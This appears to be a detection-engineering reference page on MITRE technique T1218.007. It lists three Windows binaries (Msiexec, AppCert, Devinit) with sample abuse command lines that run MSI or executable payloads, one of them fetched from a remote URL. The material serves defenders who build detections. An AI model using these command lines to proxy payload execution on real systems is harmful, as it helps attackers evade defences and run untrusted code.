How many Living-off-the-Land Binaries abuse T1218.007?

LOLPulse tracks 3 verified living-off-the-land binaries across Windows, Linux, and macOS that adversaries can leverage to execute Technique T1218.007 (T1218.007).

How can detection engineers monitor for T1218.007?

Detection strategies involve correlating process command-line arguments, parent process lineage, and behavioral telemetry rules (KQL, Sigma, and Splunk) specifically authored for the binaries listed in this matrix.

T1218.007Tactic: Defense EvasionOfficial MITRE ATT&CK Page

T1218.007: Technique T1218.007

Adversaries may leverage living-off-the-land techniques (T1218.007) to achieve execution, evade defenses, or transfer tools.

Total Capable Binaries: 3

•

Windows: 3

•

Linux: 0

•

macOS: 0

Living-off-the-Land Matrix for T1218.007

Across 3 verified binaries

Windows5 payloads

Msiexec.exe

Used by Windows to execute msi files

Sample Attack Vector:

msiexec /quiet /i {PATH:.msi}

Inspect Msiexec.exe & Telemetry

Windows2 payloads

AppCert.exe

Windows App Certification Kit command-line tool.

Sample Attack Vector:

appcert.exe test -apptype desktop -setuppath {PATH_ABSOLUTE:.exe} -reportoutputpath {PATH_ABSOLUTE:.xml}

Inspect AppCert.exe & Telemetry

Windows1 payloads

Devinit.exe

Visual Studio 2019 tool

Sample Attack Vector:

devinit.exe run -t msi-install -i {REMOTEURL:.msi}

Inspect Devinit.exe & Telemetry

Curated & Verified by

Sharon Ben Moshe

Cybersecurity Researcher & Detection Engineer • Check Point

LinkedIn Profile Methodology & Papers